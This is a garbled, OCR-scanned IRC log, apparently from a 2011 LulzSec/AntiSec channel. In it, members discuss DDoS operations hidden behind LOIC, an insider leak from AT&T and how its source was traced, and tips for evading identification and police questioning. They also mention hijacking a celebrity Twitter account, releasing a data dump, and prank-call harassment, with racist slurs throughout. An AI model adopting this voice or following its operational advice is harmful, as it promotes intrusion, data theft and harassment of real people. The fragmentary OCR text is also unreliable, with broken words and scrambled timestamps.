(cycle saparts instantly to make them look batshit insane when 
trying to bitch a t opers) 

' exactly :p 

etter and now I have to part all these motherfuckers 





yours IS 
_ 3 

"part/sajoin 



sajoin, the whois is empty but their screen is 



no evidence of oper abuse 
there's an undocumented I 



feature to close multiple channel 



so sajoin isn't so bad 

mm 
. <3 

ttp : //pwni es . com/nomi nati ons/ 
scroll to the bottom 
goddamnit ^^^^ 

motherfucker now my shit is lagging 

— 3 



,...en I get out of this lagspike I'm gonna give your ass cracker 
also, we're probably going to win a Pwnie Award for Epic Pwnage of 



2011, whatever that means 

13:27 



looooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has qui t 
[Ping timeout] 

kill your ass, cracker'- 
I have had simply too much whiskey 
] lol 

#lolraep64 :End of /WHO list. 
#lolraep65 :No such nick/channel 
#lolraep65 : End of /WHO list. 
#lolraep66 :No such nick/channel 
#lolraep66 :End of /WHO list. 
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;29 
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13; 


;29 
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13; 


;30 




13; 


;30 




13; 


;35 


<i 


13; 


;35 


<i 


13; 


;35 


<i 




And what use wou 
all time? 
13:35 < 



# lsunnydays.log 

* #lolraep67 :No such nick/channel 

* #lolraep67 :End of /WHO list. 
#lolraep68 :No such nick/channel 
#lolraep68 :End of /WHO list. 
#lolraep69 :No such nick/channel 

* #lolraep69 : End of /WHO list. 

* #lolraep70 :No such nick/channel 

* #lolraep70 : End of /WHO list. 

* #lolraep71 :No such nick/channel 

* #lolraep71 : End of /WHO list. 
#lolraep72 :No such nick/channel 

fffffuuuu why is this happening 

:3 

took the advice and made it both ^^^g and ^^^g rape 
professional oper abooser 
lolololol 

wmm for Most Epic fail 

sometimes giving 110% just makes your fail that much more epic, 
d the Internet be if it wasn't there to document this fail for 



FAIL. And the nominees are: 




This award is to honor a person or company's spectacularly epic 



13:35 <(< 

13:35 

PS3, Sony got a 



Sony 

After FailOverflow and GeoHot published how to jailbreak the 
)it miffed. Apparently unfamiliar with how the internet works and 
how difficult it is to remove the piss from a swimming pool, Sony proceeded to 
try erase the information from the Internet and sue GeoHot et al . into oblivion. 
Needless to say, this was about as successful as the Mini Disc. 



13:35 < 
13:35 < 



Sony 



Speaking of piss in a swimming pool, that just happened to be 

how well Sony protected their Sony Online Entertainment (SOE) users' account info 
and roughly 25 to 77 million account details were stolen by unknown hackers. That 
metaphor makes just about no sense at all, but you get the point: fail. 



13:35 < 
13:35 < _ 
and thei r 




Sony 

Sony is definitely good at one thing: keeping the hits coming 

ans entertained. Oh wait, did we say Sony? We meant LulzSec. I guess 



that counts as another fail for Sony. 



13:35 < 
13:35 < 



Sony 
After learninc 



about as porous as air, Sony hac 



the hard way that their PlayStation Network was 
to shut it down for over two months to rebuild 



it from scratch, in doing so, they made everyone from your 8-year old cousin to 
your barber learn about the importance of security. Hooray for us, sorry Sony 
shareholders . 

Sony 

Noticing a pattern here? But wait, it gets better. Sony might 
better repel the multitude of attacks if they hadn't just 
recently laid off a significant number of their network security team. Great 
timing, guys. 

kerpia-49E3El71.gigabit.perfect-privacy.com] has joined 



13:35 < 
13:35 <i_ 
have beeTT a 




13:38 H _ 
#! sunnyoays 
13:38 < 
13:39 < 
13:39 
13:41 
13:41 
13:41 
13:41 
13:42 
13:42 
14:02 ~ 
14:03 < 
14:03 _ 
for voice? 
14:03 < 




gnah 
y u so clone 

oh 

di sregard 

■^^1 is gone already 

is now known as 
is now known as 

ey hey 



01:57 



http : // pastebi n . com/ctu 



14:03 < 



01:58 



http://i .imgur.com/CkwvM 
14:03 < hi 




I heard that you have access to the pastebi n/imgur 
This is an Anonymous Experience created by Mun - 
Not sure who created this: 
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14:04 
14:04 
14:04 
14:04 





user 
i4:14 




JOT ne 
14:14 
14:27 _ 
accounts? 



#! sunnydays .log 

ok another reboot 
sigh 
brb 

ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has quit 

quit: Leaving] 



ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 
! sunnydays 

mode/#! sunnydays [+qo ^^^^^^^^^^ by Confuzion 

do you want me to just give you access to those two 




would be easier 

has joined #! sunnydays 
sunny days L+o by Confuzion 

sure, im still idling there 
tw anything to say if they ask for you 

currently i say "dunno, he might take a break" 

ohai 

I don't want to be mean, but we should probably say v& 
hoi 

^^■H unlikely with no news 

coina stick to "disappeared, we don't know tbh" 
possibly included in mass arrests 
then they'd come up with their own v& stories, 
the problem 
is 

were just faking a 
that if you say v& 
this will defeat morale 
amongst people 
http : //www. thesmoki nggun 
incoming arrests 

rue, too. i'd prefer the disappeared variant as well 



for a few days 

com/f i 1 e/koch-i ndustri es-attack?page=6 

but ofc 



< 

14:34 < 
pavement 




and sigh 

(about the koch investigation) 
ppl are fkn stupid 

we should maybe make a profound technical statement how LOIC 
y damage a website unless it's really like 50k ppl using it 

whatever you guys think is best, i just want to clear away the 

las with little to no mess/impact 
NEC mybe butthurt though 
because that shit was hotter than fried egg on a hellhound 

then i'd just stick to the thing "we don't know" 

as well 



might drop 
dunno yet 

"m certainly their taget for nimbuzz 



I wi I I write an article 
on the pros and cons of LOICV 
LOIC* 

the achievements in history 
and 

why it doesn't work anymore 
what pros? heh 

it used to have pros in terms of media attention 
but not an ymore 

guess is the only arrest so far that wasn't found by LOIC 

actually just a successful ddos got media attention, not LOIC as 

some kind of IP slip 
nope 
too 

it was attributed to LOIC, that was the trick 
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14:36 < 

impact than 
14:36 < 
14:36 < 
14:36 < 





14:37 
14:37 



37 



14:38 
14:38 




MOTHERFUCKI 
14:41 < 
14:41 < 
14:41 <' 
14:42 < 
14:42 <' 
14:42 <' 
14:42 <' _ 
customers 
14:42 < 
14:42 < 



#! sunnydays .log 

a lot of people doing a digital sit-in made much more of an 

otnet attacking a site 
it definitely served a purpose 

yeah the whole symbolic digital sit-in stuff was a good propaganda 
point is, that time is over 
:1 

also the Nimbuzz ppl and the 2 haxors (AT&T & infragard in the 
too true 

the AT&T guy wasn't exactly a haxor 
rue, was an insider 

he just found a directory he shouldn't be able to find 

yar 

downloaded the files 
and passed them on to us 
he had escalated access tho? 
i thought he was working for them or something 
well 

he worked for a support contractor 
that could log on to their systems 
however 
, i see 

he was supposed to have limited access 
to then r fi 1 es 

but he found out that he could access more 

8fc68bf0.C1a97d99.f3e927CC.ip] has joined #!sunnydays 
an he should have been able to access 
downloaded it, posted it initially in the #anonnews channel 
at least the announcement 
a! 

finally back 

and after talking to him in PM, he sent the download link 
which was then passed on to #i nternetfeds 
and I believe then talked with him 

_ to get the res^^^the files 

well... usually we should make sure our source is protected 
i.e. cannot be traced back 
the point is 
he was traced by AT&T 

they found out that the files had been uploaded to filehippo 
and had logs 

of what employee was doing that 
they apparently logged all network traffic 
so they could ]ust look at what user uploaded the files to 

or w/e it was 
et voila, they had him 
he uploaded it over the company vpn 
eah 

_ mistake on his side imo 
which is why u use TOR or VPN for such shit 
yeah haha 

not THAT vpn obviously lol 
_ rofl 

HMA or nothin' >:] 
"yeah, but I thought you said to use a VPN? so I USED A 

N VPN" 

lol 

ahaah yeah -sigh* 
anonymization through company VPNs, like a baws 
but ye 

I remember him saying that he didn't care what happened 
to him 

HMA turns on us, they will probably lose about 75% of their 
in one day 

he just wanted at&t to take a hit 
rom the tremor of brick-shitting 
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14:42 <' 
14:42 < 
14:43 < 
just say 




wel 1 




#! sunnydays .log 
AT&T took a hit 
howso? : P 

ecause if we're ever arrested for hma giving over logs, we'll 

everyone stop using HideMyAss, they snitch on you' 
uhm HMA? 

boom and they are scorned for life 

using VPN is fail when using i rl credentials -.- 
oh hide my ass 

yeah eh, if they just leak logs once, they can shutdown 
we'd make sure that gets posted everywhere 
they can't afford to 
he probably used his own corp credentials to 
lol 
heh^^mnt 



basically said 



nt read that ^| 

v a 

how was^^^l "Found at all? 
nobody Knows for sure 
my guess is IP somewhere 
possibly compromised server 
hmm r via 
or- 

IF it was him. we still can't confirm 100% 
but if it wasn't him he would at least have 



get axx 
the same 



DMed 



1 guess 



italian meeting in 2 hours., i will check the news 
fuck 

but T^was released with no charges put up 
questioning" -- without the shit like "fully cooperating" 
which is a good sign 
and then will share here the strategy 



and only for 



I hear 
e of wee" 



final court hearing to decide charges is coming in 

they'll probably just give 



guess 
14:49 
comes 



but he's been snitching so hard that 
or something 

or just an internet ban 
hard to guess for me 
i barely knoew him (thank god) 
internet ban would be the most horrible thing I can imagine 
but if it wasn't him he would at least have DMed 
is out on bail, so damn risky 
m ever arrested, you can be sure the only snitching that 
^■^1 DDoS'd CIA, fbi.gov, us Air Force, 
Or^^ie, Tribal wars, Magnets.com, Li node, and 



< suspecte 

if I 

rom me is as follows: 
Minecraft, League of Legends, Eve 
Department of Defense 

I'd probably do some snitching on jesterfags 

yes if it wasn't him i said 
Just because they annoy me quite regularly, 
hehe 
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14: 
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14: 


;51 








oh right 
_ that ' s hardly snitching 
well, i'd just say nothing 

I'd assume they are aware of that 
and they wouldn't get anything on me either 
i'll decline all comment and cooperation 
say nothing" is the only way 

1 don't even know what Anonymous is :p 

DONT TALK TO THE POLICE :) 

ol , I don't know how 2 turn on a computer" 
anything you say will be used against you 
thus, say nothing 
: P 
yup 

well in court then 

let it be up to them to proove anything 
maybe I should get rid of this mask xD 
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#! sunnydays .log 

but srsly, trying to question me about anything is just going 
time 

but only after lawyer etc have discussed 
I mean 

unless they have a warrant 
they don't even get IN here 

never got one in the first place 

even if they have a warrant? 
for just that reason 
no need to say anything 
of course 

but if they do not have a warrant they don't even get to set a 

_ inside this house 
well of course not 

speak through the mailbox 
ol 

as usual 

for squats 

refuse to say anything, tell them to get a warrant 
etc 

standard protocol 

I don't even open the door, lol 

or as close as one gets to that xD 

uman anons are hman 

why do i suspect that u are 

^1 stands for escape. 

appear 

lol 
lol 

rofl 

never seen b4? wtf 
_ as close to what? :P 

as c lose to all these opsec measures 
batshit conspiracy theory of the week 
heh 

Sabu , around ? 
loved the "intv from jail" 
epi c 
lol 

no but seriously, it's standard practice for a squat here to 

not open the door and speak through the mailbox, unless there is a warrant - and 
the police knows that, and doesn't even bother anymore 




havent seen the nic b4 the 



14:54 
14:54 




rofl 



or 



intv from jail? wtf!" 



+ 

_ lol 

got replies like 



it was really nice indeed, that interview 
chronicle on this one 



'cant be in prison before court decides" and 




yar they are getting better 
and they actually become kind afunny 
"they seem to like me over at Chronicle after I tweeted their 
private pi ratepad (where they were writing the latest article) form LulzSec and 
made it crash 

amazing 
loloT 

HA 

rofl 

they actually write on pi ratepad? lol 

and since they dropped the hitwhoring, they've actually become 



14:55 < 
14:55 < 
14:55 < 



14:55 
14:55 
14:55 
14:55 




in many cases 
"yes indeed 

though they do seem excited to get our attention 

for example, when i gave them a tiny scrap of twitter attention, 

Kilgore ma3e~three articles about me and has changed his name to "Shadownigger 
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# lsunnydays.log 
also, what's with russia today? 




i nvol ve 





Shrubfucker" 
14:57 <^|H_ 

http j^//vyww . youtube . com/watch?v=qzQuDUxVJoo 

anyone ever contacted that guy? 
nope 

just another spontaneous fan, alyona's bro? 

wei rd 

something is strange with my sister, no link to it 
that guy wore a shoe on his head 
lol 

i think it's not really correct lol 
explains a lot 

it isnt, but he does a personal ire-nick shoutout to all 

wat? 
oh 
yes 
if 

this is the guy 
of the previous video 
he's an anon 
yes 

that's the same vid 
lol 
oh 
no 

http : //www . youtube . com/watch?v=qzQuDUxv:oo&t=lm49s 

a different vid, but similar to the last one 

same vid, just the time 

the previous vid was about Spanish anons 
where he basically ridiculed Spanish police 
and declared himself anon 

yea 

he loves to put on guy fawkes 
and speak for anon 

check if you have a confirmation request now 
we navent yet, obvious fan is obvious, we should contact :> 
yes, yes we should 
033 subscribers, deffo over9000 
al so 

he is just reading the names from the affidavit 
it seems 
fi davit? 

(we speak jibberish where i live) 
tw i wrote on my wall that | 
2 days ago or so 

I dont know exactly what it is 
but 

it listed the arrested 

lol 

ol 

so the arrests made nyt frontpage? http://yfrog.eom/z/kkmestdj 
I keep being amazed by the amount of public support 
for anon 

think anon should put out more motivation for acts 
like, apart from the lulz 
keeps the accent on the why 

ye 

agreed 

not the hacks should be front page, but what was revealed through 




them 
15:06 
from L 



"old" profile got hacked. 



and tbh I think we should really try to move away the focus 

and why they were hacked etc 
cos "cos we can" is lame 

think that happened before 




c nowadays we see flashbacks cos of the loic arrests 
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<( 




#! sunnydays 

wel 1 

the default modus 
is still loic 
ut anon's moved away from loic 
which is an issue 
no 

definitely not 

look at practically any new op 
set up by someone 
first idea they have 



log 

operandi for a new op 

for some time now 



that is 
and the 
is 1 oi c 
astfood 
dont even nmap thei r 
dont even know if it' 
1 

bbl 

lol 

tasty noodles are 
nngs back memories 
"let's L0IC!11!1" --; 
> success 

news report the following 



targets 
s apache 



lo 



tasty 

of new OPS months ago 
team in background applies botnet, spoofs 



morning: "LOIC hive brings down 




XD 

now /they/ 're all getting v& 
lol 

top tier Anon hierarchy FTW!1!1 — 1 

hiding behind a horde of morons since 2010 :D :D 

yeah but it is kinda sucky if that gets them arrested, still 
agreed, but I don't think anybody has been charged yet 
sorry - not charged, rather, prosecuted 

also, apart from the motivation i put above, focussing on a 



handful 1 h4xx0rs to put out the 
or sabu got v&. . . why not 
twitter accounts expose the pwnage 
profile, "most wanted" anons list 
15:15 <' 



pwnage is quite tricky, like with imagine 
drop the news on ire instead of ha^^i^z-3 

for one, it puts both of them in much high 




mmm 

the point is 

makes us more vuln 

try to drop most things 



on neutral accounts like ©Lulzsec or 



15 
15 
15 
15 

15 



;15 
;15 
;16 
;16 

:16 

centralize 
15:16 < 

15:16 < 

who is actually 

15:16 <' 

@anonymousa 



centralized leaders 
tend to excite people 
'elite' people 
they can make the impact 
right, elitist is 

yes, but people are used 

enti ty releasing thing after 
the hero idea 

ideally there would be someone 
controlled by many people behind 



of something 
the word 
to it, and are 
thi ng 



larger 

excited by a 




AnonymouslRC 
15:17 <■ 
15:17 <' 
peopl e 
15:17 < 
15:17 < 




pretending to be an individual 

the scenes^ 

the only reason the media pays attention to or 
is because our logs have been leaking since FeDruar^^ 
spread that through anonymous 

if you are going for max impact 

instead of hero idea 
Actually I thought abt something like the "big brother". 
Some "media figure" emerging out of nowhere. 
David Davidson. 

Nah, that's not what I'm talking abt. 
we I I , tbh I am kinda annoyed that most media thinks that 
IS the "official Anonymous twitter account" 
David Davidson is a meme to me. 

and make sure to actually let it be controlled by multiple 



no matter 
lol 



how often i deny it on twitter, it doesn't help 
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15:17 
15:17 
15:18 
15:18 



# lsunnydays.log 

right, that's what you get from putting out all releases 

onger has his prank call to FBI under David Davidson 
put it in your bio 
mm 

wasn't that Kimmo Aim? :> 

yea couldnt find it on YT either 

well., it was the one with most followers, so natural 

or maximum impact 
ofc 

you have a good memory, 
about anarchism: 

"To make it more simple; what stops an organization becoming so 

that It can use coercion to enslave the rest ?" 
"Simple answer: All the other ones." 
source bitcoin forums :P 

I listened to that clip like a hundred times and still 






It. 



wi th 



but there is not many people i 



i'd love to actually, 
that account . 
and those dont want to lol 

but that builds single-person-responsabilities too. 

ig account vanishes, same for ^^^H s4bu etc. cant afford one of 





15:18 < 
15:18 < 
15:18 < 
choi ce 
15:18 < 
15:18 < 
15:19 < 
15:19 <' 
powerful 
15:19 <' 
15:19 < 

15:19 < 

laughed abt 

15:19 < 

would trust 
15:20 < 
15:20 < 
imagine sue 

them getting caught/vanish, or public image and other anons would believe anon is 

load-balancing ftw 

however, i always say its controlled by more than one 
that's what we're trying to do now 

I'm killing off the name, and Sabu is doing the same 

hard to prove that's not the case 
we're trying to melt things in with Anon 
and i dont mean me, im not even on that other network atm 
right 

we were thinking of releasing a statement saying we're going back 

to being anonymous, we don't need nicknames that are followed by global media 
and then everyone will understand and it will decentralize 
mmmmm 

have 4 others with axx, could tweet 24/7. 
)e very careful about how you word it 

i'd love to actually. 

trust with that account. 

I'm talking about a new identity 
not OAnonymousIRC 
_ :p 

and how will that get 130k + followers? 

THE MAGIC OF THE LULZ TWEET 
okay true, that might help 
"there's 100 's if not 1000 's anon acounts 

actually a dedicated AntiSec twitter would be good 
"leaks will spread 
no 

not by tweeting it 
from the #anom rc account 

©anoni rc* 

we have antisec_ I think 

you just build a new identity 
Fooks crappy imo ;/ 
a new identity that 'beats' the old group 
make it natural 

cant do that when they're so established 
as if"it's an entirely different person 
that takes over 
_ yes, you can 

issomething like [AntiSec] allowed? 
no 
meh . 

twitter is actually very good at new identities; accounts are 
izable slates apart from followers 
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15: 


:21 


<(9 
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15: 
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<@ 


15: 


:21 


<@ 


15: 


:21 


<^ 


15: 
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<~] 


15: 


:22 
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15: 


:22 


<^ 


15: 
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<H 


15: 
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<@ 


15: 


:22 
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15: 
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<^ 


15: 
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<^ 


15: 
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<@ 


15: 
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<d 
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:23 


<@ 
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:23 
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<4 
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15: 
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complete 
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but there is not many 
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15:24 < 
is bad 
15:24 < 
15:24 < 

15:24 < _ 

background, p 
remove from 1 
followers 
15:24 <' 
15:24 < 
15:24 
15:24 < 
15:24 <' 
15:25 < 
15:25 
15:25 
15:25 
15:25 
verifie 
15:25 < 
15:25 < 
15:25 
15:25 
15:26 
15:26 
15:26 
15:26 < 

15:26 < 

another leade 
15:26 
15:26 
15:26 




#! sunnydays .log 
cant afford to have >100. 



000 account compromised, bad PR 




acco 



15:26 
15:26 
15:26 
15:26 
15:27 
15:27 < 
15:27 <' 
15:27 <' 
15:27 
15:27 
f i gu re 
15:27 < 
f i gu re 
15:27 < 
15:27 < 
15:27 < 
ignore t 
15:27 < 

15:27 < 

figure so it 
15:27 < 



wut? 

a new identity that 'beats' the old group 
we could change @justinbieber to Olulzsec, change the profile 
icture, bio, email, delete all the tweets, remove the following, 
ists, and it is 95% exactly like Olulzsec but with 11,000,000 

<3 <3 

did the sister request reach you now? 

has not signed in 
according to my facebook you should have gotten one 

lemme see 

changed twitter nick couple times before 
©mentions vanish 
followers and follow 
eds remain 

^^^1 nice idea., but i'm sure that won't last long, he is 

unt an^all that 

what does 100k accounts have to do with it? 
tter would restore 
I don't follow 

orry, accounts with >100k followers 

point was that twitter can be refurbished in seconds 

so, no sister request, and it still won't let me send 
yea 

grr, then it lied to me 

__. ^ ^"^ just talking about, provided you want to work with 

rless "elite' figure 

that you create a new persona 

controlled by the same people that are here for example 
that new persona builds a rep 

why not just drop it via some alias on teh ire 
some point gradually overtakes 
wait and now? 
anonymousi rc 

and other related identities 

and let teh ire take care of the gossip 

and 'defeats' them because he does more epic shit 
dude 

just read what i am saying first 

> provided you want to work with another leaderless 'elite' 





provided you want to work with another leaderless 'elite' 




if you remove the 
just drop on i rc' 



idlers 
and 




ok 

ire has 500 readers, well maybe only 100 
it's pointless if you just go 'why not 
of the explanation -_- 
twitter has 130.000 

YOU mean like attributing all the major releases to that 

gams reputation 

ire doesnt mean shit, its worthless 

sure, but the 100/500 will twitspam 
at lea st for PR purposes 

that figure should be acting as if it exists alongside us 
as if it's a different person 
yeah to 50 followers each :/ 

who starts to 'fight against' us in terms of rep 
and releasing things 
and being better at it 
than us 

IMO, just change the name (not the username) to "The 

give It a more ominous feel, like it's the loading bay for leaks 
and thus gradually overtaking the spotlight 

H| just trying to put back the "we are legion" in the 

lateral pwnage band 

AnonymousIRC is already pretty ominous imo 
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15:28 
15:28 
15:28 
15:29 
15:29 
15:29 < 
15:29 < 
twitters 
15:29 < 
15:29 < _ 
somethi n'g 
15:30 <' 
15:30 <' 
15:30 <' 
15:31 
15:31 
15:31 





#! sunnydays .log 

right 

It reports from IRC 

that was the entire idea form the start 
maybe put that in the bio then 

good idea actually 
word 

^^^g switching identity would be epic when pwning major artists 
like sabu mentioned the other day 

I'm tempted to change Lulzsec's profile pic to Osama or Bieber or 

btw can I get a 0 mention from biebers twitter? :> 
lol change to OMurduck 

followers follow, lurkers fall off the ship 

imo it's a good idea to change the identity in the spotlight 
either to 'the hive' 

or to a not centrally controlled person that pretends to be a 



centrally controlled identity 

Eric Ericson, the evil twin brother of David Davidson 

haha, for sony pwnage yea 
Or make it a woman, cause most ppl feel more attracted when talking 

customised ©nick for ops 

just changing ©nick and some of the profile 
my voice modification setup does a good woman voice, 
I was tricking people last night actually 

found proper software and settings after all? :> 

'We are Anonymous. This Twitter is reporting Anonymous and 

AntiSec related events from where they occur, mostly from our IRC chat 

i rc.anonops.li . We are many and this is no "official" account." — hmm not quite 

catchy enough 

15:33 <(^VHH yessir, I was chatting up retarded people on the phone (Skype 
credit bougnt with the FBI's money), getting them to get in the mood, then 
instantly switching voice to a very deep nigger and laughing at them 




15:33 < 
15:33 < 
15:34 <' 
15:34 <' 




are not an official account. 



lots of tears, lots of lulz 

XD 
eh 

we are Anonymous. We bring you news straight from IRC, but we 



15:34 < 
are not an 
15:34 < 
15:35 < 
15:35 < 
of f i ci al 
15:35 < 
15:35 < 
15:35 < 
legion. 
15:35 < 




We are Anonymous, we bring you news straight from IRC, but we 

icial account, we are legion." 
"not an official account" seems to imply there is one 
like believers laugh at atheists for having "theists" in the name 

We are Anonymous, we bring you news straight from IRC, there are no 

accounts. We are legion." 
ye 

f ai r poi nt 

we are Anonymous, we bring you news straight from IRC. we are 
these people that laugh at atheists do not seem to 




understand what atheist means 



15:35 
15:35 



15:36 <' 
15:36 <' 
15:36 < 
15:36 < 





for easy access to the legion 



lol 

atheist = non-theist 
mm 

just, i hope you get the point 

_ we are legion is not understood easily 

We are Anonymous, bridging the activity between IRC and twitter 




it has to explicitly mention it's not official 
mggahs gonna nig 

and th at there are no official accounts 
^^^H that will make people treat AnonymouslRC as a hack 



how do you like my nigger voice: 



15:36 < 
15:36 < 
15:36 < 

15:36 <' 

request account 
15:36 <■ 
15:37 < 

http : //www. medi at i re . com/?zb3tmk6pwcOq3b5 




15:37 <~ 
15:37 <- 



hmm, nah they do that anyway lol, i usually ignore any requests 
I like sansa's version except that we are not "the legion" but 
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"Legion 
15:38 < 
15:38 < 
15:38 < 
15:38 < 

15:38 < . 

for bringin 
are Legion 
15:39 < 
15:39 < 
Anti Sec 
15:39 < 







#! sunnydays .log 

teh legion 
teh win 
jk 

1ol 

we are Anonymous, bridging the activity between IRC and twitter 
g tTie word about Anonymous and Anti Sec out to everyone interested, we 

but imma brb.. gotta do some shit 

we are Anonymous, bridging IRC and twitter for Anonymous and 

are Legion." 

30-60m . . *wi nk* 

i like it. plain and simple. 

yea 

slain and pimple 
enjoy 

adds Cooking to her activities. 

B^^^B y'all know dat niggah tone turns dem crackah hoes into 

burgers 
shit 

http : //i rc . 1 c/AnonOps/anti sec/Twi tter@@@ 
not valid as URL in profile 
hm 

http : //i rc . 1 c/AnonOps/anti sec/Twi tter 
works 

just bit.ly it 
: P 

oes it add numbers automatically? 
idk 

try it? 
:P 

, connected 
someone else try 
what name does you get? 

or wai should be able to connect twice i hope 
do a barrel roll (ctrl+t) 
hm ot not 

[15:54] == Disconnected from server: Connection to IRC server 

someone try pi ox 
otherwise i'll bit.ly indeed 
i thin it dails 
I got joined under TWitter_ 
wehen same nickname is used 
hmmm 

ah it will add underscores 

that sux 

— ye 

it adds underscores 

I exited in style, /quit smoking 
just make a bit.ly 
yup done 
AnonymouslRC 

OAnonymouslRC The internet 

We are Anonymous, bridging IRC and twitter for Anonymous and 
are Legion. 

ht tp : //b i t . 1 y/pH9TyS 

<^^BThe guardian is looking into my release 
<^^mD: 

it appears to be dawning on him... 
harl esarthur? :p 

idklol 

3:46^1 Twitter486 [^^^^^^^^^^^^^^B5r34nr . IP] has joined 

seems to work lol 

http://twitter.eom/#l/theamericanlulz 
sigh 

16 year old hacker from f ranee destroying websites" lulz indeed 
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meh 



#! sunnydays .log 



16 

16:35 < 
16:36 < 
16:38 < 
16:39 < 
16:39 < 
16:39 < 
16:39 
16:39 
16:43 
16:43 
16:44 
16:45 
16:45 
16:45 
16:45 
16:46 < 
16:46 <' 
16:46 < 
16:46 < 
16:46 < 
16:46 < 
16:47 < 
16:48 < _ 
them from 
16:48 
16:49 <' 
16:49 <' 
16:49 
16:49 
16:49 
16:49 
22:11:35 
16:49 < 
21:07:44' 



https : //pastee . org/ j f nf 7 
also, wut? 

>16 year old hacker from f ranee 
who? 

uh? want his real name? :p 
03:51 <^^H I had a email from some editor 
03:51 <^Ho.o 
03:52 <^^BH which one? 
03:52 <^^Hcharles arthur 
03:52 <^^^B figures 
yeah 

so obvious :p 

well i warned him to be careful 

lol 



you mention a 16o from f ranee 
so I am wondering 
who you mean with that 

lol 
wat? 

t was the bio of the twatter you posted before 
<^^^^B16 year old hacker from f ranee destroying websites" 

wut 
oh 

derp 
lol 
erp 
ok brbnow 

wow, i missed a lot it seems 

exactly 30min and 4sec away :o 
no time stamps activated here 
we been upholding out shit for 30min and 4sec 
_ "lol 

now you ripped all of his "arguments" apart, 

mmm? whose? 

"raided" 

ohlulz. well it's just logical 
course it is 

i'd say exactly the same if i didn't know where he was 
^^^1 hmm #voice ownership should then maybe transferred though 

pe caus e if it expires, channel gets dropped :x 

maybe^J could transfer so doesn't have to login @ anonops 
^^^s not oper anymore i tnink 
)ut i can ask ^^^^^g later 

oic 

would you take ownership? :p 
If you find no one else. :\ 
'•nobody 

hmm thinking about who. a9 but he's not online that often 

heh 

maybe ^^^^ himself 
: o 

it's t he legal department so., would kinda makes sense 
^^^1 a couple nicks been "suspended", apparently that keeps 
expi n ng 

uhm suspended nicks cannot hold channel ownership 
Lul zboatC^^^l^^^l^g^^l^^g Founder: tmesis 

There ^^n^sucrw^cl^tme^^ There is no such nick 
sure there is 

H^^l info 
^m<Serv(| 
Ni ckServ 






04:46 
04:46 

04:46 

2011 E DT 

04:46 -NickServ 
2011 EDT 




is t 

Time registered: Jun 21 
Last seen time: Jul 21 
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16:49 < 
bell dan 



Last quit message: 



#! sunnydays .log 

04:46 -NickServC 

anonops.in butthurt.anonops.in 
mmh , i ndeed 

any recommendations for usb keys? should be 32-64gb for storage 

? 

ki ngston 

set ownership to effexor btw :P 

:-\ 
lolno 
no info about 
over my deac 

lol 

DO the y offer lifetime guarantee for usb keys too, 
mi rcoSD fits any adapter/phone/media player 
^^o, tiny to hide 

nah, I may need it as a pvr @ my satellite receiver too :D 




ody :d 



ftw 



OS or 
not 

Hut 

what you 
is get a 



anythi ng . . . just legal storage 
sure if for usb keys 



can t attor( 
how much 



http://www.dea 
d-reader-11294 




can also do 
cheap microsd reader 
from dx or some shit 
and just leave a microsd card in it 
at all times 



would you take ownership in #voice? it's only academic 
64gb classic microsd :> 
is it? 

that would probably not be the best of ideas 

hm 
_ tbh 

satellite receiver... got any howto on decrypting DVB-S? 
yeah it's your choice, obv 
looki ng for WAF - . - 

extreme . com/p/worl d-s-smal 1 est-mi crosd-transf 1 ash-usb-2-O-mi ni -car 
smth like that. . .ki ngston microsd. 



200EUR or 
woah ok 
anyhow 

you don't *need* lifetime warranty that much 

imo 

by the time it breaks 
a 64GB microsd will most likely 
cost like 
5 euro 
_ lol 

also, what does it help you? data is probably lost anyway 

so 

woah 

THE COMPUTER SECURITY INDUSTRY'S Pwnie Awards ceremony is a week 
nominations are out. The notorious Lulzsec hacking outfit, the 
Anonymous hacktivist collective, the Stuxnet industrial sabotage worm and the 
alleged wiki Leaks source Bradley Manning are all up for the 'Epic Ownage' Pwnie 
award at Black Hat. 



away 



17:07 <- 

http : //www. then nqui rer. 
t-pwni e-award 
17:08 <(r 

17:08 <(! 

http : //www . mymemory . co . 
R-USB-Flash-Drive 



net/i nqui rer/news/2096871/anonymous-l ul zsec-manni ng-stuxne 



uk/uSB-Fl ash-Dri ves/Corsai r/corsai r-128GB-Fl ash-voyager-GT 



17 
17 



;08 
;08 



lol 
al so 



http : / /www . mymemory . co . uk/USB-Fl ash-Dri ves/Ki ngston/Ki ngston-64GB-DataTravel er-R5 
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00-USB-Flash-Drive 



#! sunnydays .log 



17:08 < 
17:09 < 
17:09 < 
17:09 < 
storage 1n 
school , 




90gbp 

64gb thumbdrive 
kingston :P 

Kingstona??s DataTravelerA® R500 provides rugged portable 

capacities that let you take all your data with you to the office, 
travel and more, its durable, rubberised casing makes it easy to grip and 
protects the drive from scratches and general wear, so ita??s ideal for road 
warrior s and outd oor adventurers alike. 

17:09 <^^^^^^| DataTraveler R500 provides high speeds of up to 30 MB/s read 
and 20 MB/s write and is easy to use. its blazing fast speed means you can 
quickly back up all your documents, even the largest video files, plus travel 
photos, music and more. 

17:09 <^^^^^H For added peace of mind, DataTraveler R500 is backed by a 
five-year warranty, live 24/7 tech support and Kingstona??s legendary 
rel i abi l ity. 

17:10 <'^^^^^M The winner of the 2011 'Most Epic fail' Pwnie is already known 
because Sony is the sole nominee in that category, in fact, the troubled 
entertainment company has been nominated five times for separate security 



Release with us? <3 






Hey! Tomorrow morning, we will be releasing a 

restaurant in California as of 3/2011. 

^g^^^^^^^^^^ don't we call that a phonebook> 

lol 

you al ready posted 
lol 

Hungry Release 



single restaurant in California as of 3/2011. 

17:13 < 

17:13 <^^HM^H ~ ^^^H joined 
17:13 <■ 
every si ng i e 
17:13 <' 
<| 
<| 
<| 

17:14 < 
17:14 
17:14 
nickname 
17:14 < 
17:15 
17:16 
17:21 
17:21 
18:09 
18:09 
18:09 
18:09 
18:09 < 
18:09 < 
18:10 
18:10 <' 
18:10 < 
18:10 
18:10 
18:10 
18:10 
18:10 <' 
18:10 < 
18:11 



Tomorrow morning, we will be releasing a .csv with every 



.CSV with 



but yeah, his phonebook point (which is ironic considering his 

IS rather valid 
lol 

eh that obviously is a level 
i doubt he's serious lol 

ytcracker is also nominated for his antisec song \o/ 
P 

[^^^I^Mkerpi a-D4591290 . kpn-gprs . nl] has joined #!sunnydays 
sunnyaay^^To ^^^^^^ by Confuzion 
ohai ^^^^^g 
_ waves . 

thought you gon edark heh 

hoi i dayboy inbound 
arh 

been on holiday since froday D: 
naice 

didnt expect to go tbh 
i d you se e this... 

" HH^^I waves. 

argr^^^^ 

but family forced me to come 
